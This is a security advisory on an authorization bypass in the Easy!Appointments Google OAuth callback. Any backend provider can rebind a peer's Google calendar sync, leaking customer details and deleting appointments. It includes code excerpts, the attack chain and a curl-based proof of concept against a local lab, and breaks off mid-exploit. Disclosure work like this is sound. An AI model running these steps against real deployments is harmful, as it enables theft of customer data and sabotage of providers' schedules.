Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync

// application/controllers/Google.php:305-337
public function oauth_callback(): void
{
    if (!session('user_id')) {
        abort(403, 'Forbidden');
    }

    $code = request('code');
    if (empty($code)) { response('Code authorization failed.'); return; }

    $token = $this->google_sync->authenticate($code);
    if (empty($token)) { response('Token authorization failed.'); return; }

    $oauth_provider_id = session('oauth_provider_id');
    if ($oauth_provider_id) {
        $this->providers_model->set_setting($oauth_provider_id, 'google_sync', true);                  // (*)
        $this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token));  // (*)
        $this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary');
    } else {
        response('Sync provider id not specified.');
    }
}

The same controller already carries the right gate on every other sync-management entry. select_google_calendar at application/controllers/Google.php:389 and disable_provider_sync at application/controllers/Google.php:423 both refuse the call when the caller is neither an admin nor the provider themselves:

// application/controllers/Google.php:389
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
    throw new RuntimeException('You do not have the required permissions for this task.');
}

oauth and oauth_callback skip that check. Once the callback runs with oauth_provider_id pointing at a peer provider, the peer's user_settings row is overwritten with the attacker's OAuth token and google_sync is forcibly enabled.

The attack chain that delivers the data:

• Synchronization::sync_appointment_saved at application/libraries/Synchronization.php:51 runs on every booking save. The path includes the unauthenticated public booking flow (Booking::register at application/controllers/Booking.php:463) and the backend save (Calendar::save_appointment at application/controllers/Calendar.php:306). When $provider['settings']['google_sync'] is truthy the handler reads google_token from the row - now the attacker's - refreshes it, and calls Google_sync::add_appointment.
• Google_sync::add_appointment at application/libraries/Google_sync.php:184-189 adds the customer as a Google calendar attendee with their first name, last name, and email.
• The cron-triggered Console::sync -> Google::sync($provider_id) at application/controllers/Google.php:44 walks the existing sync_past_days and sync_future_days windows and pushes every appointment to the attacker's calendar.
• The same loop deletes the local row whenever the remote event throws or is cancelled (application/controllers/Google.php:186-191); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (application/controllers/Google.php:209-254).

Proof of concept

Setup

1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:

   git clone https://github.com/alextselegidis/easyappointments
   cd easyappointments
   git checkout 1.5.2
   cp config-sample.php config.php
   docker compose up -d
   until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done
   

2. Run the console installer. The seed sets administrator's password to the literal string administrator (see application/libraries/Instance.php:99):

   docker compose exec -T php-fpm php index.php console install
   

3. Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into application/config/google.php and add http://localhost/index.php/google/oauth_callback to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.

4. Log in as administrator and persist the cookie jar (the project's session cookie is ea_session):

   export ADMIN_JAR=/tmp/admin.cookies
   curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
   curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "username=administrator" \
     --data-urlencode "password=administrator" > /dev/null
   

5. Create the attacker provider (the default require_phone_number=1 setting makes that field mandatory). Capture both ids:

   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
   curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode 'provider[first_name]=Mal' \
     --data-urlencode 'provider[last_name]=Lory' \
     --data-urlencode 'provider[email]=mallory@x.test' \
     --data-urlencode 'provider[phone_number]=+10000000000' \
     --data-urlencode 'provider[timezone]=UTC' \
     --data-urlencode 'provider[language]=english' \
     --data-urlencode 'provider[settings][username]=mallory' \
     --data-urlencode 'provider[settings][password]=Attacker-pw-1' \
     --data-urlencode 'provider[settings][notifications]=0'
   export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
     -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'")
   export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
     -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'")
   

6. Log in as the attacker provider into a dedicated cookie jar:

   export ATTACKER_JAR=/tmp/attacker.cookies
   curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
   CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
   curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
     --data-urlencode "csrf_token=$CSRF" \
     --data-urlencode "username=mallory" \
     --data-urlencode "password=Attacker-pw-1" > /dev/null
   

Exploit

1. The attacker, logged in as a regular provider with id $ATTACKER_ID, points /google/oauth/ at the victim provider's id $VICTIM_ID:

   curl -si -b $ATTACKER_JAR "http://localhost/index.php/google/oauth/$VICTIM_ID" | head -5
   

   Expected: HTTP/1.1 302 Found with